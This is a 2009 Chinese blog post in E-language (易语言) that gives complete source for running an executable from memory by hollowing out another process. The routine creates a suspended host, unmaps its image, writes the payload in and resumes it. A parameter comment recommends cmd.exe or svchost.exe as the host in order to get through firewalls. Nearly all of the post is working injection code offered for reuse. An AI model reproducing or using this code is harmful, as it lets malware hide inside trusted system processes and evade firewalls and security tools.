在内存中运行EXE_老代码

http://blog.sina.com.cn/u/1651123977

首页博文目录关于我

个人资料

微博

加好友发纸条

写留言加关注

博客等级：
博客积分：

博客访问：
关注人气：
获赠金笔：0支
赠出金笔：0支
荣誉徽章：

正文字体大小：大中小

在内存中运行EXE

(2009-10-03 07:55:14)

标签：

it

分类：编程心得

.版本 2
.支持库 spec

.子程序在内存中运行EXE, 逻辑型, 公开, 可以直接运行资源中的程序，不必释放。成功返回真，失败返回假。
.参数 abExeFile, 字节集, , 欲执行的程序，不支持某些加了壳的程序，请自行测试。
.参数命令行, 文本型, 可空, 为程序提供的命令行参数，不需要请留空。
.参数 sVictim, 文本型, 可空, 外壳程序的路径(如果用系统程序做外壳，如cmd.exe、svchost.exe，可以实现穿防火墙，呵呵)，不支持某些程序，请自行测试；不在当前目录下要提供绝对路径；留空默认为cmd.exe，如果无法运行，请换用不同的程序尝试。
.参数运行信息, 运行信息, 参考可空, 用来接收在内存中执行的exe的运行信息(进程、主线程的句柄和ID)。不需要可留空。
.参数是否等待程序运行完毕, 逻辑型, 可空, 默认为假，即不等待。
.局部变量 idh, IMAGE_DOS_HEADER
.局部变量 inh, IMAGE_NT_HEADERS
.局部变量 ish, IMAGE_SECTION_HEADER
.局部变量 si, STARTUPINFO
.局部变量 context, CONTEXT86
.局部变量 ImageBase, 整数型
.局部变量 i, 整数型
.局部变量 addr, 整数型
.局部变量 lOffset, 整数型

连续赋值 (0, 运行信息.进程ID, 运行信息.进程句柄, 运行信息.主线程ID, 运行信息.主线程句柄)
.如果真 (abExeFile ＝ { })
    返回 (假)
.如果真结束
CopyMemory_idh (idh, abExeFile [1], Len_idh (idh))
.如果真 (idh.e_magic ≠ 23117)
    返回 (假)
.如果真结束
CopyMemory_inh (inh, abExeFile [idh.e_lfanew ＋ 1], Len_inh (inh))
.如果真 (inh.Signature ≠ 17744)
    返回 (假)
.如果真结束
si.cb ＝ Len_si (si)
.如果真 (CreateProcess (0, 选择 (是否为空 (sVictim), 取cmd路径 (), sVictim) ＋ “ ” ＋命令行, 0, 0, 0, 4, 0, 0, si, 运行信息) ＝ 0)
    返回 (假)
.如果真结束
context.ContextFlags ＝ 65538
.如果真 (GetThreadContext (运行信息.主线程句柄, context) ＝ 0)
    ClearProcess (运行信息)
    返回 (假)
.如果真结束
ReadProcessMemory (运行信息.进程句柄, context.Ebx ＋ 8, addr, 4, 0)
.如果真 (addr ＝ 0)
    ClearProcess (运行信息)
    返回 (假)
.如果真结束
.如果真 (ZwUnmapViewOfSection (运行信息.进程句柄, addr) ＝ 0)
    ClearProcess (运行信息)
    返回 (假)
.如果真结束
ImageBase ＝ VirtualAllocEx (运行信息.进程句柄, inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, 12288, 4)
.如果真 (ImageBase ＝ 0)
    ClearProcess (运行信息)
    返回 (假)
.如果真结束
WriteProcessMemory (运行信息.进程句柄, ImageBase, abExeFile [1], inh.OptionalHeader.SizeOfHeaders, 0)
lOffset ＝ idh.e_lfanew ＋ Len_inh (inh)
.计次循环首 (inh.FileHeader.NumberOfSections, i)
    CopyMemory_ish (ish, abExeFile [lOffset ＋ (i － 1) × 40 ＋ 1], Len_ish (ish))
    .如果真 (ish.PointerToRawData ＋ 1 ＞字节集_取长度 (abExeFile))
        ClearProcess (运行信息)
        返回 (假)
    .如果真结束
    WriteProcessMemory (运行信息.进程句柄, ImageBase ＋ ish.VirtualAddress, abExeFile [ish.PointerToRawData ＋ 1], ish.SizeOfRawData, 0)
    VirtualProtectEx (运行信息.进程句柄, ImageBase ＋ ish.VirtualAddress, ish.VirtualSize, Protect (ish.characteristics), addr)
.计次循环尾 ()
WriteProcessMemory2 (运行信息.进程句柄, context.Ebx ＋ 8, ImageBase, 4, 0)
context.Eax ＝ ImageBase ＋ inh.OptionalHeader.AddressOfEntryPoint
SetThreadContext (运行信息.主线程句柄, context)
ResumeThread (运行信息.主线程句柄)
.如果真 (是否等待程序运行完毕)
    WaitForSingleObject (运行信息.进程句柄, -1)
.如果真结束
.如果真 (是否为空 (运行信息))
    CloseHandle (运行信息.主线程句柄)
    CloseHandle (运行信息.进程句柄)
.如果真结束
返回 (真)

.子程序 ClearProcess
.参数运行信息, 运行信息, 参考

TerminateProcess (运行信息.进程句柄, 0)
CloseHandle (运行信息.主线程句柄)
CloseHandle (运行信息.进程句柄)
连续赋值 (0, 运行信息.进程ID, 运行信息.进程句柄, 运行信息.主线程ID, 运行信息.主线程句柄)

.子程序 Protect, 整数型
.参数 characteristics, 整数型

返回 (多项选择 (RShift (characteristics, 29) ＋ 1, 1, 16, 2, 32, 4, 64, 4, 64))

.子程序 RShift, 整数型
.参数 lValue, 整数型
.参数 lNumberOfBitsToShift, 整数型

返回 (vbLongToULong (lValue) ÷ 数值_求次方 (2, lNumberOfBitsToShift))

.子程序 vbLongToULong, 双精度小数型
.参数 Value, 整数型

.如果真 (Value ＜ 0)
返回 (Value ＋ 4294967296)
.如果真结束
返回 (Value)

.子程序数值_求次方, 双精度小数型
.参数欲求次方数值, 双精度小数型
.参数次方数, 双精度小数型

置入代码 ({ 221, 69, 16, 221, 69, 8, 217, 241, 217, 192, 217, 252, 220, 225, 217, 201, 217, 224, 217, 240, 217, 232, 222, 193, 217, 253, 221, 217, 221, 93, 248, 139, 85, 252, 139, 69, 248, 201, 194, 16, 0 })
返回 (0)

.子程序字节集_取长度, 整数型
.参数字节集, 字节集
.局部变量 address, 整数型
.局部变量 ret, 整数型

.如果真 (字节集＝ { })
返回 (0)
.如果真结束
address ＝ lstrcpyn (字节集, 字节集, 0)
RtlMoveMemory (ret, address － 4, 4)
返回 (ret)

.子程序取cmd路径, 文本型
.局部变量 size, 整数型
.局部变量 name, 文本型

size ＝ GetEnvironmentVariable (“ComSpec”, “”, 0)
.计次循环首 (size, ) ' 哈哈取空白文本偷点懒
name ＝ name ＋ “ ”
.计次循环尾 ()
GetEnvironmentVariable (“ComSpec”, name, size)
返回 (name)

.版本 2

.DLL命令 Len_idh, 整数型, "kernel32", "LocalSize"
.参数 hMem, IMAGE_DOS_HEADER, 传址

.DLL命令 CopyMemory_inh, , "kernel32", "RtlMoveMemory"
    .参数 Dest, IMAGE_NT_HEADERS, 传址
    .参数 Src, 字节型, 传址
    .参数 L, 整数型

.DLL命令 CopyMemory_idh, , "kernel32", "RtlMoveMemory"
    .参数 Dest, IMAGE_DOS_HEADER, 传址
    .参数 Src, 字节型, 传址
    .参数 L, 整数型

.DLL命令 Len_inh, 整数型, "kernel32", "LocalSize"
.参数 hMem, IMAGE_NT_HEADERS, 传址

.DLL命令 Len_si, 整数型, "kernel32", "LocalSize"
.参数 hMem, STARTUPINFO, 传址

.DLL命令 GetThreadContext, 整数型, "kernel32"
.参数 hThread, 整数型
.参数 lpContext, CONTEXT86, 传址

.DLL命令 ReadProcessMemory, 整数型, "kernel32"
    .参数 hProcess, 整数型
    .参数 lpBaseAddress, 整数型
    .参数 lpBuffer, 整数型, 传址
    .参数 nSize, 整数型
    .参数 lpNumberOfBytesWritten, 整数型, 传址

.DLL命令 ZwUnmapViewOfSection, 整数型, "ntdll.dll"
.参数 hProcess, 整数型
.参数 BaseAddress, 整数型, 传址

.DLL命令 CreateProcess, 整数型, "kernel32", "CreateProcessA"
    .参数 lpAppName, 整数型
    .参数 lpCommandLine, 文本型
    .参数 lpProcessAttributes, 整数型
    .参数 lpThreadAttributes, 整数型
    .参数 bInheritHandles, 整数型
    .参数 dwCreationFlags, 整数型
    .参数 lpEnvironment, 整数型
    .参数 lpCurrentDirectory, 整数型
    .参数 lpStartupInfo, STARTUPINFO, 传址
    .参数 lpProcessInformation, 运行信息, 传址

.DLL命令 VirtualAllocEx, 整数型, "kernel32"
    .参数 hProcess, 整数型
    .参数 lpAddress, 整数型
    .参数 dwSize, 整数型
    .参数 flAllocationType, 整数型
    .参数 flProtect, 整数型

.DLL命令 WriteProcessMemory, 整数型, "kernel32"
    .参数 hProcess, 整数型
    .参数 lpBaseAddress, 整数型
    .参数 lpBuffer, 字节型, 传址
    .参数 nSize, 整数型
    .参数 lpNumberOfBytesWritten, 整数型, 传址

.DLL命令 CopyMemory_ish, , "kernel32", "RtlMoveMemory"
    .参数 Dest, IMAGE_SECTION_HEADER, 传址
    .参数 Src, 字节型, 传址
    .参数 L, 整数型

.DLL命令 Len_ish, 整数型, "kernel32", "LocalSize"
.参数 hMem, IMAGE_SECTION_HEADER, 传址

.DLL命令 VirtualProtectEx, 整数型, "kernel32"
    .参数 hProcess, 整数型
    .参数 lpAddress, 整数型
    .参数 dwSize, 整数型
    .参数 flNewProtect, 整数型
    .参数 lpflOldProtect, 整数型, 传址

.DLL命令 WriteProcessMemory2, 整数型, "kernel32", "WriteProcessMemory"
    .参数 hProcess, 整数型
    .参数 lpBaseAddress, 整数型
    .参数 lpBuffer, 整数型, 传址
    .参数 nSize, 整数型
    .参数 lpNumberOfBytesWritten, 整数型, 传址

.DLL命令 SetThreadContext, 整数型, "kernel32"
.参数 hThread, 整数型
.参数 lpContext, CONTEXT86, 传址

.DLL命令 ResumeThread, 整数型, "kernel32", "ResumeThread"
.参数 hThread, 整数型

.DLL命令 TerminateProcess, 整数型, "kernel32", "TerminateProcess"
.参数 hProcess, 整数型
.参数 uExitCode, 整数型

.DLL命令 CloseHandle, 整数型, "kernel32", "CloseHandle", 公开, 关闭句柄。如果接收了进程、线程句柄，不用时记得用该函数关闭，否则会造成内存泄露。
.参数 hObject, 整数型

.DLL命令 lstrcpyn, 整数型, , "lstrcpyn"
    .参数欲取其指针, 字节集, 传址
    .参数欲取其指针, 字节集, 传址
    .参数保留, 整数型

.DLL命令 RtlMoveMemory, 整数型, , "RtlMoveMemory"
    .参数 lpvDest, 整数型, 传址
    .参数 lpvSource, 整数型
    .参数 cbCopy, 整数型

.DLL命令 GetEnvironmentVariable, 整数型, "kernel32", "GetEnvironmentVariableA"
    .参数 lpName, 文本型
    .参数 lpBuffer, 文本型
    .参数 nSize, 整数型

.DLL命令 WaitForSingleObject, 整数型, "kernel32", "WaitForSingleObject"
.参数 hHandle, 整数型
.参数 dwMilliseconds, 整数型

阅读┊ 收藏 ┊ 喜欢 ▼ ┊打印┊举报/Report

前一篇：取区位码机内码_模块

后一篇：用户态进程的虚拟地址转换到物理地址

新浪BLOG意见反馈留言板　欢迎批评指正